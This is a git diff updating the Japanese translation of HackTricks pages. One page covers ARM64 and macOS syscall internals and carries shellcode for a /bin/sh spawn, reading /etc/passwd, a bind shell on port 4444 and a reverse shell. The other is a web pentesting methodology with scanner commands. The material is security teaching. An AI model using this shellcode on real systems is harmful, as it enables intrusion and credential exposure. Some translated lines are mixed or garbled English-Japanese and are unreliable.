(割り当てられている場合)**: `add sp, sp, ` +1. **ローカル変数の領域を解放する**（もし割り当てられていれば）: `add sp, sp, ` 2. **リンクレジスタとフレームポインタを復元する**: ```armasm ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer ``` -3. **Return**: `ret` (呼び出し元に制御を返すためにリンクレジスタのアドレスを使用) +3. **Return**: `ret` (リンクレジスタのアドレスを使用して呼び出し元に制御を返す) -## AARCH32 実行状態 +## AARCH32 Execution State -Armv8-Aは32ビットプログラムの実行をサポートしています。**AArch32**は**2つの命令セット**のいずれかで実行できます：**`A32`**と**`T32`**で、**`interworking`**を介してそれらの間を切り替えることができます。\ -**特権**のある64ビットプログラムは、特権の低い32ビットプログラムへの例外レベル転送を実行することによって**32ビット**プログラムの**実行をスケジュール**できます。\ -64ビットから32ビットへの遷移は、例外レベルの低下と共に発生することに注意してください（例えば、EL1の64ビットプログラムがEL0のプログラムをトリガーする）。これは、`AArch32`プロセススレッドが実行される準備ができたときに**`SPSR_ELx`**特別レジスタの**ビット4を1に設定**することによって行われ、`SPSR_ELx`の残りは**`AArch32`**プログラムのCPSRを格納します。その後、特権プロセスは**`ERET`**命令を呼び出し、プロセッサはCPSRに応じて**`AArch32`**に遷移し、A32またはT32に入ります。** +Armv8-A は 32-bit プログラムの実行をサポートする。**AArch32** は **2つの命令セット** のいずれか、**`A32`** と **`T32`** で動作でき、**`interworking`** によってそれらを切り替えられる。\ +**特権** の 64-bit プログラムは、より低い特権の 32-bit へ例外レベルを移すことにより、**32-bit の実行** をスケジュールできる。\ +64-bit から 32-bit への遷移は、より低い例外レベル（例えば EL1 の 64-bit プログラムが EL0 のプログラムを起動する場合）で発生する点に注意。これは、`AArch32` プロセススレッドが実行準備完了したときに、特殊レジスタ **`SPSR_ELx``** の **bit 4 を 1 に設定**し、`SPSR_ELx` の残りが **`AArch32`** プログラムの CPSR を保持することで行われる。次に、特権プロセスが **`ERET`** 命令を呼び出すとプロセッサは **`AArch32`** に遷移し、CPSR によって A32 または T32 に入る**.** -**`interworking`**はCPSRのJビットとTビットを使用して行われます。`J=0`および`T=0`は**`A32`**を意味し、`J=0`および`T=1`は**T32**を意味します。これは基本的に、命令セットがT32であることを示すために**最下位ビットを1に設定する**ことに相当します。\ -これは**interworkingブランチ命令**の間に設定されますが、PCが宛先レジスタとして設定されているときに他の命令で直接設定することもできます。例： +The **`interworking`** occurs using the J and T bits of CPSR. `J=0` and `T=0` means **`A32`** and `J=0` and `T=1` means **T32**. This basically traduces on setting the **lowest bit to 1** to indicate the instruction set is T32.\ +これは **interworking branch instructions,** の間に設定されるが、PC を送先レジスタに設定する他の命令で直接設定することもできる。例： -別の例： +Another example: ```armasm _start: .code 32 ; Begin using A32 @@ -264,60 +265,60 @@ mov r0, #8 ``` ### レジスタ -16個の32ビットレジスタ（r0-r15）があります。**r0からr14**は**任意の操作**に使用できますが、そのうちいくつかは通常予約されています： +16個の32-bitレジスタがあります (r0-r15)。 **r0からr14までは** 任意の操作に使用できますが、いくつかは通常予約されています: -- **`r15`**: プログラムカウンタ（常に）。次の命令のアドレスを含みます。A32では現在 + 8、T32では現在 + 4です。 -- **`r11`**: フレームポインタ -- **`r12`**: 手続き内呼び出しレジスタ -- **`r13`**: スタックポインタ -- **`r14`**: リンクレジスタ +- **`r15`**: Program counter（常に）。次の命令のアドレスを含みます。A32では現在の命令アドレス + 8、T32では現在の命令アドレス + 4。 +- **`r11`**: Frame Pointer +- **`r12`**: Intra-procedural call register +- **`r13`**: Stack Pointer（スタックは常に16バイト境界に揃えられていることに注意） +- **`r14`**: Link Register -さらに、レジスタは**`バンクレジスタ`**にバックアップされます。これは、例外処理や特権操作において**迅速なコンテキストスイッチ**を行うためにレジスタの値を保存する場所であり、毎回手動でレジスタを保存および復元する必要を回避します。\ -これは、例外が発生したプロセッサモードの**`CPSR`**から**`SPSR`**にプロセッサ状態を**保存することによって**行われます。例外から戻ると、**`CPSR`**は**`SPSR`**から復元されます。 +さらに、レジスタは **`banked registries`** にバックアップされます。これはレジスタ値を格納し、例外処理や特権操作で毎回手動で保存・復元する必要を避けつつ、**高速なコンテキストスイッチ** を可能にする領域です。\ +これは例外が取られたプロセッサモードの状態を **`CPSR` から `SPSR` に保存する** ことで行われます。例外復帰時には **`SPSR`** から **`CPSR`** が復元されます。 -### CPSR - 現在のプログラムステータスレジスタ +### CPSR - Current Program Status Register -AArch32では、CPSRはAArch64の**`PSTATE`**と似たように機能し、例外が発生したときに後で実行を復元するために**`SPSR_ELx`**に保存されます： +AArch32では CPSR は AArch64 の **`PSTATE`** と同様に機能し、例外発生時に実行を後で復元するために **`SPSR_ELx`** に格納されます:
-フィールドはいくつかのグループに分かれています： +フィールドはいくつかのグループに分かれています: -- アプリケーションプログラムステータスレジスタ（APSR）：算術フラグで、EL0からアクセス可能 -- 実行状態レジスタ：プロセスの動作（OSによって管理される）。 +- Application Program Status Register (APSR): 算術フラグで、EL0からアクセス可能 +- Execution State Registers: プロセスの振る舞い（OSによって管理） -#### アプリケーションプログラムステータスレジスタ（APSR） +#### Application Program Status Register (APSR) -- **`N`**、**`Z`**、**`C`**、**`V`**フラグ（AArch64と同様） -- **`Q`**フラグ：特定の飽和算術命令の実行中に**整数飽和が発生した**場合に1に設定されます。一度**`1`**に設定されると、手動で0に設定されるまでその値を保持します。さらに、その値を暗黙的にチェックする命令はなく、手動で読み取る必要があります。 -- **`GE`**（以上または等しい）フラグ：これは、"並列加算"や"並列減算"などのSIMD（Single Instruction, Multiple Data）操作で使用されます。これらの操作は、単一の命令で複数のデータポイントを処理することを可能にします。 +- **`N`**, **`Z`**, **`C`**, **`V`** フラグ（AArch64と同様） +- **`Q`** フラグ: 特定の飽和算術命令の実行中に整数の飽和が発生すると1に設定されます。一度 **`1`** に設定されると手動で0に設定されるまでその値を保持します。さらに、このフラグを暗黙的にチェックする命令はなく、手動で読み取る必要があります。 +- **`GE`**（Greater than or equal）フラグ: SIMD（Single Instruction, Multiple Data）演算、例えば "parallel add" や "parallel subtract" のような操作で使用されます。これらの操作は単一命令で複数のデータポイントを処理できます。 -例えば、**`UADD8`**命令は**4つのバイトペア**（2つの32ビットオペランドから）を並列に加算し、結果を32ビットレジスタに格納します。その後、これらの結果に基づいて**`APSR`**内の**`GE`**フラグを**設定します**。各GEフラグは、バイトペアの加算が**オーバーフローした**かどうかを示します。 +例えば、**`UADD8`** 命令は（2つの32-bitオペランドから）4組のバイトを並列に加算して結果を32-bitレジスタに格納します。次にこれらの結果に基づいて **`APSR` の `GE` フラグ** を設定します。各 GE フラグは各バイト加算に対応し、そのバイトペアの加算で**オーバーフロー**が発生したかを示します。 -**`SEL`**命令は、これらのGEフラグを使用して条件付きアクションを実行します。 +- **`SEL`** 命令はこれらの GE フラグを使用して条件付き動作を行います。 -#### 実行状態レジスタ +#### Execution State Registers -- **`J`**および**`T`**ビット：**`J`**は0であるべきで、**`T`**が0の場合は命令セットA32が使用され、1の場合はT32が使用されます。 -- **ITブロック状態レジスタ**（`ITSTATE`）：これらは10-15および25-26のビットです。**`IT`**接頭辞のグループ内の命令の条件を保存します。 -- **`E`**ビット：**エンディアンネス**を示します。 -- **モードおよび例外マスクビット**（0-4）：現在の実行状態を決定します。**5番目**のビットは、プログラムが32ビット（1）または64ビット（0）で実行されているかを示します。他の4つは、**現在使用中の例外モード**を表します（例外が発生し、それが処理されているとき）。設定された番号は、他の例外がこの処理中にトリガーされた場合の**現在の優先度**を示します。 +- **`J`** および **`T`** ビット: **`J`** は0であるべきで、**`T`** が0なら命令セットは A32、1なら T32 が使用されます。 +- **IT Block State Register** (`ITSTATE`): ビット10-15および25-26です。**`IT`** プレフィックス付きのグループ内の命令に対する条件を格納します。 +- **`E`** ビット: エンディアンを示します。 +- **Mode and Exception Mask Bits** (0-4): 現在の実行状態を決定します。5番目のビットはプログラムが32bit（1）として動作しているか64bit（0）として動作しているかを示します。残りの4ビットは（例外が発生して処理されているときの）**現在使用中の例外モード**を表します。設定された値は、この処理中に別の例外が発生した場合の**現在の優先度**を示します。
-- **`AIF`**：特定の例外は、ビット**`A`**、`I`、`F`を使用して無効にできます。**`A`**が1の場合、**非同期中断**がトリガーされることを意味します。**`I`**は外部ハードウェア**割り込み要求**（IRQ）に応答するように設定します。Fは**高速割り込み要求**（FIR）に関連しています。 +- **`AIF`**: 特定の例外は **`A`**, `I`, `F` のビットで無効化できます。**`A`** が1であれば非同期アボート（asynchronous aborts）が発生します。**`I`** は外部ハードウェアの Interrupt Requests (IRQs) に応答する設定で、`F` は Fast Interrupt Requests (FIRs) に関連します。 ## macOS -### BSDシステムコール +### BSD syscalls -[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)を確認してください。BSDシステムコールは**x16 > 0**になります。 +[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) を参照するか、`cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h` を実行してください。BSD syscalls は **x16 > 0** になります。 -### Machトラップ +### Mach Traps -[**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html)の`mach_trap_table`と[**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h)のプロトタイプを確認してください。Machトラップの最大数は`MACH_TRAP_TABLE_COUNT` = 128です。Machトラップは**x16 < 0**になるため、前のリストから番号を**マイナス**で呼び出す必要があります：**`_kernelrpc_mach_vm_allocate_trap`**は**`-10`**です。 +[**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) の `mach_trap_table` と [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) のプロトタイプを確認してください。Mach traps の最大数は `MACH_TRAP_TABLE_COUNT` = 128 です。Mach traps は **x16 < 0** となるため、前述のリストの番号をマイナスで呼び出す必要があります: **`_kernelrpc_mach_vm_allocate_trap`** は **`-10`** です。 -これら（およびBSD）システムコールを呼び出す方法を見つけるために、ディスアセンブラで**`libsystem_kernel.dylib`**を確認することもできます： +逆アセンブラで **`libsystem_kernel.dylib`** を確認すると、これら（および BSD）syscalls の呼び出し方が分かります: ```bash # macOS dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e @@ -325,32 +326,32 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib # iOS dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 ``` -注意してください、**Ida** と **Ghidra** はキャッシュを通過させるだけで **特定の dylibs** をデコンパイルすることもできます。 +Note that **Ida** and **Ghidra** can also decompile **specific dylibs** from the cache just by passing the cache. > [!TIP] -> 時には **ソースコード** を確認するよりも **`libsystem_kernel.dylib`** の **デコンパイルされた** コードをチェックする方が簡単です。なぜなら、いくつかのシステムコール（BSD と Mach）のコードはスクリプトを介して生成されているため（ソースコードのコメントを確認）、dylib では何が呼び出されているかを見つけることができます。 +> 時には、**`libsystem_kernel.dylib`** の **decompiled** コードを確認する方が、**than** **source code** を確認するより簡単なことがあります。なぜなら、いくつかの syscalls（BSD と Mach）はスクリプトで生成されており（ソースコード内のコメントを確認してください）、dylib には実際に何が呼ばれているかがわかるからです。 -### machdep コール +### machdep calls -XNU はマシン依存の別のタイプのコールをサポートしています。これらのコールの数はアーキテクチャによって異なり、コールや数が一定であることは保証されていません。 +XNU は machine dependent と呼ばれる別の種類の呼び出しをサポートしています。これらの呼び出しの番号はアーキテクチャに依存し、呼び出し名や番号が恒久的に一定であるとは保証されません。 -### comm ページ +### comm page -これはカーネル所有のメモリページで、すべてのユーザープロセスのアドレス空間にマッピングされています。これは、ユーザーモードからカーネル空間への遷移を、カーネルサービスのためのシステムコールを使用するよりも速くすることを目的としています。この遷移は非常に非効率的になるためです。 +これはカーネル所有のメモリページで、すべてのユーザープロセスのアドレス空間にマップされます。syscall を使うと非効率になってしまうほど頻繁に使われるカーネルサービスについて、ユーザーモードからカーネル空間への遷移を高速化することを目的としています。 -例えば、`gettimeofdate` コールは、comm ページから直接 `timeval` の値を読み取ります。 +例えば、`gettimeofdate` は comm page から直接 `timeval` の値を読み取ります。 ### objc_msgSend -この関数は Objective-C または Swift プログラムで非常に一般的に見られます。この関数は、Objective-C オブジェクトのメソッドを呼び出すことを可能にします。 +Objective-C や Swift のプログラムでこの関数が使われているのを見かけるのは非常に一般的です。この関数は Objective-C オブジェクトのメソッドを呼び出すことを可能にします。 -パラメータ（[ドキュメントの詳細](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)）: +パラメータ ([more info in the docs](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): - x0: self -> インスタンスへのポインタ - x1: op -> メソッドのセレクタ -- x2... -> 呼び出されたメソッドの残りの引数 +- x2... -> 呼び出されるメソッドの残りの引数 -したがって、この関数への分岐の前にブレークポイントを置くと、lldb で何が呼び出されているかを簡単に見つけることができます（この例では、オブジェクトがコマンドを実行する `NSConcreteTask` からオブジェクトを呼び出します）： +したがって、この関数への分岐の直前にブレークポイントを置くと、lldb で何が呼び出されているかを簡単に特定できます（この例ではオブジェクトがコマンドを実行する `NSConcreteTask` のオブジェクトを呼び出しています）： ```bash # Right in the line were objc_msgSend will be called (lldb) po $x0 @@ -369,31 +370,31 @@ whoami ) ``` > [!TIP] -> 環境変数 **`NSObjCMessageLoggingEnabled=1`** を設定すると、この関数が呼び出されたときに `/tmp/msgSends-pid` のようなファイルにログを記録できます。 +> 環境変数 **`NSObjCMessageLoggingEnabled=1`** を設定すると、この関数が呼ばれたときに `/tmp/msgSends-pid` のようなファイルに**log**を記録できます。 > -> さらに、**`OBJC_HELP=1`** を設定し、任意のバイナリを呼び出すことで、特定のObjc-Cアクションが発生したときに **log** するために使用できる他の環境変数を見ることができます。 +> さらに、**`OBJC_HELP=1`** を設定して任意のバイナリを実行すると、特定の Objc-C アクションが発生したときに**log**するために使える他の環境変数を確認できます。 -この関数が呼び出されると、指定されたインスタンスの呼び出されたメソッドを見つける必要があります。そのために、さまざまな検索が行われます： +この関数が呼ばれたとき、指定されたインスタンスで呼び出されたメソッドを見つける必要があり、そのために以下のような検索が行われます: -- 楽観的キャッシュ検索を実行： -- 成功した場合、完了 -- runtimeLockを取得（読み取り） -- If (realize && !cls->realized) クラスを実現 -- If (initialize && !cls->initialized) クラスを初期化 -- クラス自身のキャッシュを試す： -- 成功した場合、完了 -- クラスメソッドリストを試す： -- 見つかった場合、キャッシュを埋めて完了 -- スーパークラスキャッシュを試す： -- 成功した場合、完了 -- スーパークラスメソッドリストを試す： -- 見つかった場合、キャッシュを埋めて完了 -- If (resolver) メソッドリゾルバを試し、クラス検索から繰り返す -- まだここにいる場合（= 他のすべてが失敗した場合）フォワーダーを試す +- optimistic cache lookup を試行する: +- 成功したら完了 +- runtimeLock (read) を取得する +- If (realize && !cls->realized) realize class +- If (initialize && !cls->initialized) initialize class +- クラス自身のキャッシュを試す: +- 成功したら完了 +- クラスの method list を試す: +- 見つかったら cache を埋めて完了 +- スーパークラスの cache を試す: +- 成功したら完了 +- スーパークラスの method list を試す: +- 見つかったら cache を埋めて完了 +- If (resolver) try method resolver, and repeat from class lookup +- それでも見つからない場合（= 他がすべて失敗した場合）は forwarder を試す ### Shellcodes -コンパイルするには： +To compile: ```bash as -o shell.o shell.s ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib @@ -408,7 +409,7 @@ for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; echo -n '\\x'$c done ``` -新しいmacOSの場合： +新しい macOS の場合: ```bash # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do @@ -417,7 +418,7 @@ done ```
-シェルコードをテストするためのCコード +shellcodeをテストするCコード ```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader @@ -465,12 +466,12 @@ return 0; ```
-#### シェル +#### Shell -[**こちら**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s)から取得し、説明されています。 +[**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) から取得し、解説します。 {{#tabs}} -{{#tab name="adrを使用"}} +{{#tab name="with adr"}} ```armasm .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. .global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program. @@ -537,9 +538,9 @@ sh_path: .asciz "/bin/sh" {{#endtab}} {{#endtabs}} -#### catで読む +#### Read with cat -目的は `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` を実行することであり、第二引数（x1）はパラメータの配列です（これはメモリ内ではアドレスのスタックを意味します）。 +目的は `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` を実行することで、したがって第2引数 (x1) は params の配列で、メモリ上ではアドレスの stack になります。 ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -565,7 +566,7 @@ cat_path: .asciz "/bin/cat" .align 2 passwd_path: .asciz "/etc/passwd" ``` -#### フォークからshでコマンドを呼び出すことで、メインプロセスが終了しないようにする +#### fork から sh でコマンドを実行し、メインプロセスが殺されないようにする ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -609,9 +610,9 @@ sh_c_option: .asciz "-c" .align 2 touch_command: .asciz "touch /tmp/lalala" ``` -#### バインドシェル +#### Bind shell -**ポート 4444** での [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) からのバインドシェル +Bind shell は [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) からのもので、**port 4444** で動作します。 ```armasm .section __TEXT,__text .global _main @@ -693,9 +694,9 @@ mov x2, xzr mov x16, #59 svc #0x1337 ``` -#### リバースシェル +#### Reverse shell -From [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s), revshell to **127.0.0.1:4444** +[https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s) から revshell を **127.0.0.1:4444** に ```armasm .section __TEXT,__text .global _main diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index f8c835fbb..f6b175fa3 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -1,10 +1,10 @@ -# 80,443 - Pentesting Web メソドロジー +# 80,443 - Pentesting Web Methodology {{#include ../../banners/hacktricks-training.md}} ## 基本情報 -Webサービスは最も**一般的で広範なサービス**であり、**さまざまな種類の脆弱性**が多数存在します。 +Webサービスは最も**一般的かつ広範なサービス**であり、**さまざまな種類の脆弱性**が多数存在します。 **デフォルトポート:** 80 (HTTP), 443(HTTPS) ```bash @@ -24,48 +24,48 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0 web-api-pentesting.md {{#endref}} -## 方法論の要約 +## Methodology summary -> この方法論では、1つのドメイン（またはサブドメイン）だけを攻撃対象とすることを想定します。したがって、スコープ内で発見した各ドメイン、サブドメイン、または未特定のウェブサーバーを持つIPごとにこの方法論を適用してください。 +> この手法では、ドメイン（またはサブドメイン）1つだけを攻撃対象とすることを想定します。したがって、スコープ内で発見した各ドメイン、サブドメイン、または未確定の web server を持つ IP ごとにこの手法を適用してください。 -- [ ] まず、ウェブサーバーで使用されている**technologies**を**identifying**します。技術が特定できたら、以降のテストで念頭に置くべき**tricks**を探してください。 -- [ ] 使用している技術のバージョンに**known vulnerability**はないか？ -- [ ] よく知られた**tech**を使用しているか？ 追加で情報を引き出すための**useful trick**はあるか？ -- [ ] wpscan のような**specialised scanner**を実行すべきか？ -- [ ] 汎用のスキャナを実行する。何か見つかるか、興味深い情報が得られるかもしれない。 -- [ ] **initial checks**から開始：**robots**, **sitemap**, **404 error** および **SSL/TLS scan**（HTTPS の場合）。 -- [ ] ウェブページの**spidering**を開始：利用されている可能性のあるすべての**files, folders**と**parameters**を見つける時です。特別な所見もチェックしてください。 -- [ ] _brute-forcingまたはspidering中に新しいディレクトリが発見された場合は、その都度spideringするべきです。_ -- [ ] **Directory Brute-Forcing**：発見したフォルダをすべてbrute forceして、新しい**files**や**directories**を探す。 -- [ ] _brute-forcingやspidering中に新しいディレクトリが発見された場合は、それを必ずBrute-Forcedするべきです。_ -- [ ] **Backups checking**：発見したファイルのバックアップを、一般的なバックアップ拡張子を付けて見つけられるかテストする。 -- [ ] **Brute-Force parameters**：隠しパラメータを見つけるために試す。 -- [ ] すべてのユーザー入力を受け付ける可能性のある**endpoints**を特定したら、それらに関連するあらゆる種類の脆弱性をチェックする。 +- [ ] まずは **識別** して、web server が使用している **technologies** を把握します。技術が特定できれば、テスト中に役立つ **tricks** を探してください。 +- [ ] その技術のバージョンに対する **既知の脆弱性** はありますか？ +- [ ] 既知の **well known tech** を使っていますか？追加情報を引き出すための **useful trick** はありますか？ +- [ ] 実行すべき **specialised scanner**（例: wpscan）はありますか？ +- [ ] **general purposes scanners** を起動します。何か見つかるか、興味深い情報が出るかもしれません。 +- [ ] **initial checks** から始めます: **robots**, **sitemap**, **404** エラー、そして **SSL/TLS scan**（HTTPS の場合）。 +- [ ] Webページの **spidering** を開始します: すべての可能な **files, folders** と使用されている **parameters** を**発見**する時です。**special findings** も確認してください。 +- [ ] _注: brute-forcing または spidering 中に新しいディレクトリが発見された場合は、そのディレクトリも必ず spider してください。_ +- [ ] **Directory Brute-Forcing**: 発見したフォルダ全てを brute force して、新しい **files** や **directories** を探します。 +- [ ] _注: brute-forcing または spidering 中に新しいディレクトリが発見された場合は、そのディレクトリを必ず Brute-Force してください。_ +- [ ] **Backups checking**: 一般的なバックアップ拡張子を付けて、発見した **files** の **backups** を見つけられるか試します。 +- [ ] **Brute-Force parameters**: 隠されたパラメータを **find** してください。 +- [ ] すべてのユーザ入力を受け付ける可能性のある **endpoints** を**識別**したら、それらに関連するあらゆる種類の **vulnerabilities** をチェックします。 - [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md) ## Server Version (Vulnerable?) ### Identify -稼働中のサーバーのバージョンに既知の脆弱性があるか確認してください。\ -The **HTTP headers and cookies of the response** は、使用されている技術やバージョンを識別するのに非常に有用です。**Nmap scan** はサーバーバージョンを特定できますが、[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:** +Check if there are **known vulnerabilities** for the server **version** that is running.\ +The **HTTP headers and cookies of the response** could be very useful to **identify** the **technologies** and/or **version** being used. **Nmap scan** can identify the server version, but it could also be useful the tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -検索 **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) +Search: [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) -### **WAFが存在するか確認する** +### **WAFがあるか確認** - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### Web技術のトリック +### Web 技術のトリック -利用されているさまざまなよく知られた**技術**で**脆弱性を見つけるための**いくつかの**トリック**: +使用されているさまざまな有名な技術でvulnerabilitiesを見つけるためのいくつかのtricks: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) @@ -102,18 +102,25 @@ webanalyze -host https://google.com -crawl 2 - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) _Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\ -もしウェブアプリケーションが前述のよく知られた**tech/platform listed before**やその他の技術を使用している場合は、インターネットで新しいトリックを検索することを忘れないでください（そして知らせてください！）。 +同じドメインでも、異なるポート、フォルダ、サブドメインで異なる技術が使用されている可能性があることに注意してください。\ +もしwebアプリケーションが前述のようなよく知られたtech/platformまたはその他のものを使用している場合、新しいtricksをインターネットで検索することを忘れないでください（そして教えてください！）。 ### ソースコードレビュー -アプリケーションの**ソースコード**が**github**で入手可能な場合、アプリケーションの**White box**テストを自分で実施することに加えて、現在の**Black-Box**テストに**有用**な**いくつかの情報**が得られる可能性があります: +アプリケーションの**source code**が**github**で入手可能な場合、自身でWhite box testを行うことに加えて、現在のBlack-Box testingに有用な情報がいくつかあります: -- Web上でアクセス可能な**Change-log or Readme or Version**ファイル、または**バージョン情報**はありますか？ -- **credentials** はどのように、どこに保存されていますか？（アクセス可能な）**file** にユーザー名やパスワードが含まれていますか？ -- **passwords** は**plain text**ですか、**encrypted**ですか、またはどの**hashing algorithm**が使われていますか？ -- 何かを暗号化するための**master key**を使用していますか？どの**algorithm**が使われていますか？ -- 何らかの脆弱性を悪用してこれらのファイルのいずれかに**アクセスできますか**？ -- **github** の（解決済み・未解決の）**issues**に興味深い情報がありますか？または**commit history**（古いコミットに**password**が含まれている可能性）に注目すべきものはありますか？ +- Is there a **Change-log or Readme or Version** file or anything with **version info accessible** via web? + - ウェブ経由でアクセス可能な**Change-log**、**Readme**、**Version** ファイルや**version info**はありますか？ +- How and where are saved the **credentials**? Is there any (accessible?) **file** with credentials (usernames or passwords)? + - **credentials**はどのように、どこに保存されていますか？credentials（usernamesやpasswords）が書かれた（アクセス可能な）**file**はありますか？ +- Are **passwords** in **plain text**, **encrypted** or which **hashing algorithm** is used? + - **passwords**は**plain text**ですか、それとも**encrypted**されていますか？あるいはどの**hashing algorithm**が使われていますか？ +- Is it using any **master key** for encrypting something? Which **algorithm** is used? + - 何かを暗号化するための**master key**を使用していますか？どの**algorithm**が使われていますか？ +- Can you **access any of these files** exploiting some vulnerability? + - 何らかのvulnerabilityを悪用して、これらのファイルのいずれかに**access**できますか？ +- Is there any **interesting information in the github** (solved and not solved) **issues**? Or in **commit history** (maybe some **password introduced inside an old commit**)? + - githubの**issues**（解決済み・未解決）に興味深い情報はありますか？または**commit history**（古いcommitにpasswordが含まれている可能性）に何かありますか？ {{#ref}} code-review-tools.md @@ -135,12 +142,12 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi ``` #### CMS スキャナー -CMS が使用されている場合は **run a scanner** を忘れないでください。思わぬ有用な情報が見つかるかもしれません: +CMS を使用している場合は、必ず**スキャナーを実行**してください。思わぬ有益な発見があるかもしれません: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** websites for Security issues. (GUI)\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** のウェブサイトのセキュリティ問題をチェックします。 (GUI)\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ -**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **or** [**(M)oodle**](moodle.md)\ +**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **または** [**(M)oodle**](moodle.md)\ [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) ```bash cmsmap [-f W] -F -d @@ -148,45 +155,45 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> この時点で、クライアントが使用しているウェブサーバ（もしデータが与えられていれば）に関するいくつかの情報と、テスト中に覚えておくべきトリックを既に持っているはずです。運が良ければ CMS を見つけてスキャナを実行しているかもしれません。 +> この時点で、クライアントが使用しているウェブサーバーに関するいくつかの情報（もし提供されていれば）や、テスト中に覚えておくべきいくつかのコツを既に持っているはずです。運が良ければ、CMS を見つけて scanner を実行しているかもしれません。 -## ステップバイステップの Web アプリケーション探索 +## Step-by-step Web Application Discovery -> ここからは Web アプリケーションとの対話を開始します。 +> この時点から Web アプリケーションと対話を開始します。 -### 初期チェック +### Initial checks 